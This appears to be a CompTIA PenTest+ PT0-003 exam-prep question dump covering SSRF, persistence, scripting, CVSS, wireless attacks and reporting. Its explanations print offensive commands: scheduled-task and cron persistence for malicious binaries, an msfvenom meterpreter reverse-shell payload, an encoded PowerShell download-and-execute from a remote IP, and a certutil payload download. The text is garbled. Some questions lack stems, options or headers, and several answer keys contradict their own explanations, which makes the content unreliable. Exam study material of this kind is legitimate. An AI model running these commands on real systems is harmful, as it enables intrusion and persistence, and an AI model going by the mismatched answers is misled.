Answer:
Explanation:
Most likely vulnerability: Perform a SSRF attack against App01.example.com from CDN.example.com.
Two best remediation options:
Restrict direct communications to App01.example.com to only approved components.
Require an additional authentication header value between CDN.example.com and App01.example.com.
Restrict direct communications to App01.example.com to only approved components: This limits the exposure of the application server by ensuring that only specified, trusted entities can communicate with it.
Require an additional authentication header value between CDN.example.com and App01.example.com: Adding an authentication layer between the CDN and the app server helps ensure that requests are legitimate and originate from trusted sources, mitigating SSRF and other indirect attack vectors.
Nmap Scan Observations:
CDN/WAF shows open ports for HTTP and HTTPS but filtered for MySQL, indicating it acts as a filtering layer.
App Server has open ports for HTTP, HTTPS, and filtered for MySQL.
DB Server has all ports filtered, typical for a database server that should not be directly accessible.
These findings align with the SSRF vulnerability and the appropriate remediation steps to enhance the security of internal communications.

NEW QUESTION # 67
As part of an engagement, a penetration tester wants to maintain access to a compromised system after rebooting. Which of the following techniques would be best for the tester to use?
- A. Creating a scheduled task
- B. Establishing a reverse shell
- C. Performing a credential-dumping attack
- D. Executing a process injection attack
Answer: A
Explanation:
To maintain access to a compromised system after rebooting, a penetration tester should create a scheduled task. Scheduled tasks are designed to run automatically at specified times or when certain conditions are met, ensuring persistence across reboots.
* Persistence Mechanisms:
* Scheduled Task: Creating a scheduled task ensures that a specific program or script runs automatically according to a set schedule or in response to certain events, including system startup. This makes it a reliable method for maintaining access after a system reboot.
* Reverse Shell: While establishing a reverse shell provides immediate access, it typically does not survive a system reboot unless coupled with another persistence mechanism.
* Process Injection: Injecting a malicious process into another running process can provide stealthy access but may not persist through reboots.
* Credential Dumping: Dumping credentials allows for re-access by using stolen credentials, but it does not ensure automatic access upon reboot.
* Creating a Scheduled Task:
* On Windows, the schtasks command can be used to create scheduled tasks. For example:
schtasks /create /tn "Persistence" /tr "C:\path\to\malicious.exe" /sc onlogon /ru SYSTEM
* On Linux, a cron job can be created by editing the crontab:
(crontab -l; echo "@reboot /path/to/malicious.sh") | crontab -
* Pentest References:
* Maintaining persistence is a key objective in post-exploitation. Scheduled tasks (Windows Task Scheduler) and cron jobs (Linux) are commonly used techniques.
* References to real-world scenarios include creating scheduled tasks to execute malware, keyloggers, or reverse shells automatically on system startup.
By creating a scheduled task, the penetration tester ensures that their access method (e.g., reverse shell, malware) is executed automatically whenever the system reboots, providing reliable persistence.
NEW QUESTION # 68

NEW QUESTION # 69
In an unprotected network file repository, a penetration tester discovers a text file containing usernames and passwords in cleartext and a spreadsheet containing data for 50 employees, including full names, roles, and serial numbers. The tester realizes some of the passwords in the text file follow the format: <name- serial_number>. Which of the following would be the best action for the tester to take NEXT with this information?
- A. Create a custom password dictionary as preparation for password spray testing.
- B. Document the unprotected file repository as a finding in the penetration-testing report.
- C. Recommend using a password manage/vault instead of text files to store passwords securely.
- D. Recommend configuring password complexity rules in all the systems and applications.
Answer: B
NEW QUESTION # 70
A penetration tester creates a list of target domains that require further enumeration. The tester writes the following script to perform vulnerability scanning across the domains:
line 1: #!/usr/bin/bash
line 2: DOMAINS_LIST = "/path/to/list.txt"
line 3: while read -r i; do
line 4: nikto -h $i -o scan-$i.txt &
line 5: done
The script does not work as intended. Which of the following should the tester do to fix the script?
- A. Change line 4 to nikto $i | tee scan-$i.txt.
- B. Change line 2 to {"domain1", "domain2", "domain3", }.
- C. Change line 3 to while true; read -r i; do.
- D. Change line 5 to done < "$DOMAINS_LIST".
Answer: D
Explanation:
The issue with the script lies in how the while loop reads the file containing the list of domains. The current script doesn't correctly redirect the file's content to the loop. Changing line 5 to done < "$DOMAINS_LIST" correctly directs the loop to read from the file.
Step-by-Step Explanation
Original Script:
DOMAINS_LIST="/path/to/list.txt"
while read -r i; do
nikto -h $i -o scan-$i.txt &
done
Identified Problem:
The while read -r i; do loop needs to know which file to read lines from. Without redirecting the input file to the loop, it doesn't process any input.
Solution:
Add done < "$DOMAINS_LIST" to the end of the loop to specify the input source.
Corrected script:
DOMAINS_LIST="/path/to/list.txt"
while read -r i; do
nikto -h $i -o scan-$i.txt &
done < "$DOMAINS_LIST"
done < "$DOMAINS_LIST" ensures that the while loop reads each line from DOMAINS_LIST.
This fix makes the loop iterate over each domain in the list and run nikto against each.

NEW QUESTION # 71
Which of the following are valid reasons for including base, temporal, and environmental CVSS metrics in the findings section of a penetration testing report? (Select two).
- A. Helping to prioritize remediation based on threat context
- B. Providing details on how to remediate vulnerabilities
- C. Adding risk levels to each asset
- D. Providing information on attack complexity and vector
- E. Prioritizing compliance information needed for an audit
- F. Including links to the proof-of-concept exploit itself
Answer: A,D
Explanation:
The Common Vulnerability Scoring System (CVSS) provides a standardized way to evaluate the severity of security vulnerabilities. It includes:
Base Metrics: Inherent characteristics of a vulnerability (e.g., attack vector, complexity).
Temporal Metrics: Factors that change over time (e.g., exploit availability).
Environmental Metrics: Customization based on an organization's environment.
Correct answers:
Helping to prioritize remediation based on threat context (Option B):
CVSS scores help organizations prioritize vulnerabilities based on real-world impact.
The Environmental metric allows customization based on business risk.
Reference: CompTIA PenTest+ PT0-003 Official Study Guide - "Risk Prioritization in Reporting" Providing information on attack complexity and vector (Option D):
CVSS Base scores define attack complexity (e.g., low vs. high) and attack vector (e.g., network vs. physical).
This helps security teams understand how a vulnerability can be exploited.
Reference: CompTIA PenTest+ PT0-003 Official Study Guide - "CVSS Metrics in Vulnerability Assessment" Incorrect options:
Option A (Providing remediation details): CVSS does not include remediation steps; it only scores severity.
Option C (Proof-of-concept exploit links): CVSS scores are not based on specific exploits.
Option E (Compliance information): CVSS focuses on technical risk, not regulatory compliance.
Option F (Adding risk levels to assets): CVSS evaluates individual vulnerabilities, not asset risk classification.
NEW QUESTION # 72
The following file was obtained during reconnaissance:
Which of the following is most likely to be successful if a penetration tester achieves non-privileged user access?
- A. Exposure of other users' sensitive data
- B. Corrupting the skeleton configuration file
- C. Unauthorized access to execute binaries via sudo
- D. Hijacking the default user login shells
Answer: A
Explanation:
DIR_MODE=0777 configures new home directories to be created world-readable, world-writable, and world- executable (rwxrwxrwx). With such permissive permissions, any unprivileged local user can traverse into other users' home directories, list files, read them, and even modify or replace them. That makes exposure of other users' sensitive data the most likely and immediate outcome once the tester has any local user account.
Why the other options are less likely:
* B. Unauthorized sudo execution: Requires membership in sudo/wheel or explicit entries in /etc/sudoers.
Nothing in the snippet indicates that, and file mode on home dirs doesn't grant sudo.
* C. Hijacking default login shells: DSHELL=/bin/zsh only sets the default shell for new users. Replacing
/bin/zsh or altering /etc/passwd would require root.
* D. Corrupting the skeleton configuration: SKEL=/etc/systemd-conf/temp-skeleton is under /etc/..., which is root-owned on standard systems. A normal user cannot write there, so "corrupting the skeleton" is unlikely without privilege escalation.
Practical exploitation as a non-privileged user (illustrative):
# Find world-writable homes
find /home -maxdepth 1 -type d -perm -0002 -ls
# Read another user's files
cd /home/targetuser && ls -la && cat Documents/tax_return.pdf
(Depending on per-file permissions.)
CompTIA PenTest+ PT0-003 Objective Mapping (for study):
* Domain 3.0 Attacks and Exploits
* 3.1 Exploit system vulnerabilities and misconfigurations (e.g., insecure file permissions leading to data exposure/privilege abuse).
NEW QUESTION # 73
A penetration tester aims to exploit a vulnerability in a wireless network that lacks proper encryption. The lack of proper encryption allows malicious content to infiltrate the network. Which of the following techniques would most likely achieve the goal?
- A. Beacon flooding
- B. Signal jamming
- C. Bluejacking
- D. Packet injection
Answer: D
Explanation:
If a wireless network lacks proper encryption, attackers can inject malicious packets into the traffic stream.
Packet injection (Option A):
Attackers forge and transmit fake packets to manipulate network behavior.
Common in WEP/WPA attacks to force IV collisions or spoof DHCP responses.
Reference:
Incorrect options:
Option B (Bluejacking): Sends spam messages via Bluetooth, not for network exploitation.
Option C (Beacon flooding): Overloads wireless access points, not an attack on encryption.
Option D (Signal jamming): Disrupts connectivity but does not inject packets.
NEW QUESTION # 74
A penetration testing team wants to conduct DNS lookups for a set of targets provided by the client. The team crafts a Bash script for this task. However, they find a minor error in one line of the script:
1 #!/bin/bash
2 for i in $(cat example.txt); do
3 curl $i
4 done
Which of the following changes should the team make to line 3 of the script?
- A. rndc $i
- B. resolvconf $i
- C. systemd-resolve $i
- D. host $i
Answer: D
Explanation:
Script Analysis:
Line 1: #!/bin/bash - This line specifies the script should be executed in the Bash shell.
Line 2: for i in $(cat example.txt); do - This line starts a loop that reads each line from the file example.txt and assigns it to the variable i.
Line 3: curl $i - This line attempts to fetch the content from the URL stored in i using curl. However, for DNS lookups, curl is inappropriate.
Line 4: done - This line ends the loop.
Error Identification:
The curl command is used for transferring data from or to a server, often used for HTTP requests, which is not suitable for DNS lookups.
Correct Command:
To perform DNS lookups, the host command should be used. The host command performs DNS lookups and displays information about the given domain.
Corrected Script:
Replace curl $i with host $i to perform DNS lookups on each target specified in example.txt.
Pentest Reference:
In penetration testing, DNS enumeration is a crucial step. It involves querying DNS servers to gather information about the target domain, which includes resolving domain names to IP addresses and vice versa.
Common tools for DNS enumeration include host, dig, and nslookup. The host command is particularly straightforward for simple DNS lookups.
By correcting the script to use host $i, the penetration testing team can effectively perform DNS lookups on the targets specified in example.txt.
NEW QUESTION # 75

- B. powershell.exe impo C:\tools\foo.ps1
- C. powershell.exe -noni -encode IEX.Downloadstring("http://172.16.0.1/")
- D. rundll32.exe c:\path\foo.dll,functName
Answer: A
Explanation:
To execute a payload and gain additional access, the penetration tester should use certutil.exe.
Using certutil.exe:
Purpose: certutil.exe is a built-in Windows utility that can be used to download files from a remote server, making it useful for fetching and executing payloads.
Command: certutil.exe -f https://192.168.0.1/foo.exe bad.exe downloads the file foo.exe from the specified URL and saves it as bad.exe.
NEW QUESTION # 76
Which of the following tools provides Python classes for interacting with network protocols?
- A. Responder
- B. Empire
- C. Impacket
- D. PowerSploit
Answer: C
Explanation:
Impacket is a collection of Python classes focused on providing access to network protocols. It is designed for low-level protocol access and crafted to perform various networking tasks from Python scripts. This toolkit is widely used in penetration testing for creating and decoding network protocols and for crafting and injecting packets into the network. Impacket supports a myriad of protocols like IP, TCP, UDP, ICMP, SMB, MSRPC, NTP, and more. With its vast array of functionalities, Impacket is very useful in protocol testing and attacks, like the ones a penetration tester would conduct.
Responder, on the other hand, is a LLMNR, NBT-NS, and MDNS poisoner that can be used for capturing NetNTLM hashes. Empire is a post-exploitation framework that allows the use of PowerShell for offensive security and PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment.
Given these descriptions, Impacket is the tool that fits the context of the question due to its direct interaction with network protocols through Python.
NEW QUESTION # 77
A penetration tester is working on an engagement in which a main objective is to collect confidential information that could be used to exfiltrate data and perform a ransomware attack. During the engagement, the tester is able to obtain an internal foothold on the target network. Which of the following is the next task the tester should complete to accomplish the objective?
- A. Share enumeration.
- B. Compromise an endpoint.
- C. Perform credential dumping.
- D. Initiate a social engineering campaign.
Answer: A
Explanation:
Given that the penetration tester has already obtained an internal foothold on the target network, the next logical step to achieve the objective of collecting confidential information and potentially exfiltrating data or performing a ransomware attack is to perform credential dumping. Here's why:
* Credential Dumping:
* Purpose: Credential dumping involves extracting password hashes and plaintext passwords from compromised systems. These credentials can be used to gain further access to sensitive data and critical systems within the network.
* Tools: Common tools used for credential dumping include Mimikatz, Windows Credential Editor, and ProcDump.
* Impact: With these credentials, the tester can move laterally across the network, escalate privileges, and access confidential information.
* Comparison with Other Options:
* Initiate a Social Engineering Campaign (A): Social engineering is typically an initial access technique rather than a follow-up action after gaining internal access.
* Compromise an Endpoint (C): The tester already has a foothold, so compromising another endpoint is less direct than credential dumping for accessing sensitive information.
* Share Enumeration (D): While share enumeration can provide useful information, it is less impactful than credential dumping in terms of gaining further access and achieving the main objective.
Performing credential dumping is the most effective next step to escalate privileges and access sensitive data, making it the best choice.

- A. A Windows endpoint
- B. A Linux server
- C. An already-compromised system
- D. A honeypot
Answer: D
Explanation:
A honeypot is a decoy system designed to attract attackers by exposing multiple services and vulnerabilities.
* Indicators of a honeypot (Option A):
* The system has an unusual combination of Windows (SMB, MSRPC) and Linux (Rsync, SSH) services.
* It exposes a large number of open ports, which is uncommon for a production server.
* Presence of "zeus-admin" (port 9090) suggests intentionally vulnerable services.
NEW QUESTION # 79
A penetration tester is testing a new version of a mobile application in a sandbox environment. To intercept and decrypt the traffic between the application and the external API, the tester has created a private root CA and issued a certificate from it. Even though the tester installed the root CA into the trusted stone of the smartphone used for the tests, the application shows an error indicating a certificate mismatch and does not connect to the server. Which of the following is the MOST likely reason for the error?
- A. The tester is using an outdated version of the application
- B. The application has the API certificate pinned.
- C. TCP port 443 is not open on the firewall
- D. The API server is using SSL instead of TLS
Answer: B
Explanation:
This is the most likely reason for the error because the application is unable to validate the certificate issued by the tester's private root CA. Certificate pinning is a process where an application compares the certificate presented by the server with a predefined set of certificates and only accepts connections if the presented certificate is one of the predefined certificates. This means that the application will reject any certificate that is not in the predefined set, even if it is valid.
NEW QUESTION # 80
Which of the following tools can a penetration tester use to brute force a user password over SSH using multiple threads?
- A. Hydra
- B. Hashcat
- C. CeWL
- D. John the Ripper
Answer: A
Explanation:
Hydra is a powerful tool for conducting brute-force attacks against various protocols, including SSH. It is capable of using multiple threads to perform concurrent attempts, significantly increasing the efficiency of the attack. This capability makes Hydra particularly suited for brute-forcing user passwords over SSH, as it can quickly try numerous combinations of usernames and passwords. The tool's ability to support a wide range of protocols, its flexibility in handling different authentication mechanisms, and its efficiency in managing multiple simultaneous connections make it a go-to choice for penetration testers looking to test the strength of passwords in a target system's SSH service.
NEW QUESTION # 81
A penetration tester must gain entry to a client's office building without raising attention. Which of the following should be the tester's first step?
- A. Trying to enter the back door after hours on a weekend
- B. Collecting building blueprints to run a site survey
- C. Conducting surveillance of the office to understand foot traffic
- D. Interacting with security employees to clone a badge
Answer: C
Explanation:
Comprehensive and Detailed
The appropriate first step for a low-profile physical access attempt is conducting surveillance to gather information such as entry points, peak/low occupancy times, security guard patterns, camera placement, and typical foot traffic. Surveillance (visual observation, external photography, publicly available schedules) informs a safe, low-risk entry plan and helps the tester choose tactics that minimize attention.
Why not the others first:
A . Interacting with security employees to clone a badge - directly engaging security staff to manipulate them is an escalation and could alert personnel; it's also ethically/contractually risky if done without prior scoped approval and planning.
B . Trying to enter the back door after hours on a weekend - acting without reconnaissance increases likelihood of detection or legal exposure.
C . Collecting building blueprints to run a site survey - blueprints are useful but often hard to obtain and not the initial low-effort step; surveillance provides immediate, actionable behavioral intelligence.
CompTIA PT0-003 Mapping: Physical security assessments - perform reconnaissance and site survey activities first to develop low-visibility access strategies that adhere to the engagement rules of engagement and legal constraints.
NEW QUESTION # 82
A tester plans to perform an attack technique over a compromised host. The tester prepares a payload using the following command:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.12.12.1
LPORT=10112 -f csharp
The tester then takes the shellcode from the msfvenom command and creates a file called evil.xml. Which of the following commands would most likely be used by the tester to continue with the attack on the host?
- A. mshta.exe C:\evil.xml
- B. MSBuild.exe C:\evil.xml
- C. AppInstaller.exe C:\evil.xml
- D. regsvr32 /s /n /u C:\evil.xml
Answer: B
Explanation:
The provided msfvenom command creates a payload in C# format. To continue the attack using the generated shellcode in evil.xml, the most appropriate execution method involves MSBuild.exe, which can process XML files containing C# code:
Understanding MSBuild.exe:
Purpose: MSBuild is a build tool that processes project files written in XML and can execute tasks defined in the XML. It's commonly used to build .NET applications and can also execute code embedded in project files.
NEW QUESTION # 83
A penetration tester needs to evaluate the order in which the next systems will be selected for testing. Given the following output:
Hostname | IP address | CVSS 2.0 | EPSS
hrdatabase | 192.168.20.55 | 9.9 | 0.50
financesite | 192.168.15.99 | 8.0 | 0.01
legaldatabase | 192.168.10.2 | 8.2 | 0.60
fileserver | 192.168.125.7 | 7.6 | 0.90
Which of the following targets should the tester select next?
- A. hrdatabase
- B. legaldatabase
- C. financesite
- D. fileserver
Answer: D
Explanation:
Given the output, the penetration tester should select the fileserver as the next target for testing, considering both CVSS and EPSS scores.
CVSS (Common Vulnerability Scoring System):
Purpose: CVSS provides a numerical score to represent the severity of vulnerabilities, helping to prioritize remediation efforts.
Higher Scores: Indicate more severe vulnerabilities.
EPSS (Exploit Prediction Scoring System):
Purpose: EPSS estimates the likelihood that a vulnerability will be exploited in the wild within the next 30 days.
Higher Scores: Indicate a higher likelihood of exploitation.
Evaluation:
hrdatabase: CVSS = 9.9, EPSS = 0.50
financesite: CVSS = 8.0, EPSS = 0.01
legaldatabase: CVSS = 8.2, EPSS = 0.60
fileserver: CVSS = 7.6, EPSS = 0.90
The fileserver has the highest EPSS score, indicating a high likelihood of exploitation, despite having a slightly lower CVSS score compared to hrdatabase and legaldatabase.
NEW QUESTION # 84
A penetration tester is performing an assessment focused on attacking the authentication identity provider hosted within a cloud provider. During the reconnaissance phase, the tester finds that the system is using OpenID Connect with OAuth and has dynamic registration enabled. Which of the following attacks should the tester try first?
- A. A brute-force attack against the authentication system
- B. A password-spraying attack against the authentication system
- C. A replay attack against the authentication flow in the system
- D. A mask attack against the authentication system
Answer: C
Explanation:
OpenID Connect (OIDC) with OAuth allows applications to authenticate users using third-party identity providers (IdPs). If dynamic registration is enabled, attackers can abuse this feature to capture and replay authentication requests.
Replay attack (Option C):
Attackers capture legitimate authentication tokens and reuse them to impersonate users.
OIDC uses JWTs (JSON Web Tokens), which may not expire quickly, making replay attacks highly effective.
Reference:
Incorrect options:
Option A (Password spraying): Effective against user accounts, but this attack targets authentication tokens.
Option B (Brute-force attack): Less effective against OAuth-based authentication since tokens replace passwords.
Option D (Mask attack): Related to password cracking, not OAuth authentication attacks.
NEW QUESTION # 85
A penetration testing firm performs an assessment every six months for the same customer. While performing network scanning for the latest assessment, the penetration tester observes that several of the target hosts appear to be residential connections associated with a major television and ISP in the area. Which of the following is the most likely reason for the observation?
- A. The network scanning activity is being blocked by a firewall.
- B. The IP ranges changed ownership.
- C. The penetration tester misconfigured the network scanner.
- D. The network scanning tooling is not functioning properly.
Answer: B
Explanation:
When a penetration tester notices several target hosts appearing to be residential connections associated with a major television and ISP, it's likely that the IP ranges initially assigned to the target organization have changed ownership and are now allocated to the ISP for residential use. This can happen due to reallocation of IP addresses by regional internet registries. Misconfiguration of the scanner (option A), malfunctioning of scanning tools (option B), or firewall blocking (option D) would not typically result in the discovery of residential connections in place of expected organizational targets.
NEW QUESTION # 86
Which of the following components should a penetration tester include in an assessment report?
- A. Attack narrative
- B. Key management
- C. Customer remediation plan
- D. User activities
Answer: A
Explanation:
An attack narrative provides a detailed account of the steps taken during the penetration test, including the methods used, vulnerabilities exploited, and the outcomes of each attack. This helps stakeholders understand the context and implications of the findings.
Step-by-Step Explanation
Components of an Assessment Report:
User Activities: Generally not included as they focus on end-user behavior rather than technical findings.
Customer Remediation Plan: While important, it is typically provided by the customer or a third party based on the report's findings.
Key Management: More relevant to internal security practices than a penetration test report.
Attack Narrative: Essential for detailing the process and techniques used during the penetration test.
Importance of Attack Narrative:
Contextual Understanding: Provides a step-by-step account of the penetration test, helping stakeholders understand the flow and logic behind each action.
Evidence and Justification: Supports findings with detailed explanations and evidence, ensuring transparency and reliability.
Learning and Improvement: Helps the organization learn from the test and improve security measures.
Reference from Pentesting Literature:
Penetration testing guides emphasize the importance of a detailed attack narrative to convey the results and impact of the test effectively.
HTB write-ups and official reports often include comprehensive attack narratives to explain the penetration testing process and findings.

NEW QUESTION # 87
Which of the following documents should be consulted if a client has an issue accepting a penetration test report that was provided?
- A. Statement of work
- B. Non-disclosure agreement
- C. Rules of engagement
- D. Signed authorization letter
Answer: C
Explanation:
The Rules of Engagement (RoE) document is crucial when there's a dispute or issue with accepting a penetration test report. The RoE outlines the scope, methods, timing, legal considerations, and objectives of a penetration test. It serves as a guideline for both the client and the testing team on what is expected and permissible during the assessment. If there are issues with the report, referring back to the agreed-upon RoE can clarify whether the test was conducted within the agreed parameters and help resolve any disputes.
The signed authorization letter, statement of work, and non-disclosure agreement are also important documents but are more related to the permission, scope of work, and confidentiality aspects of the engagement, respectively, rather than the specifics of how the test was to be conducted, which is what the RoE covers.
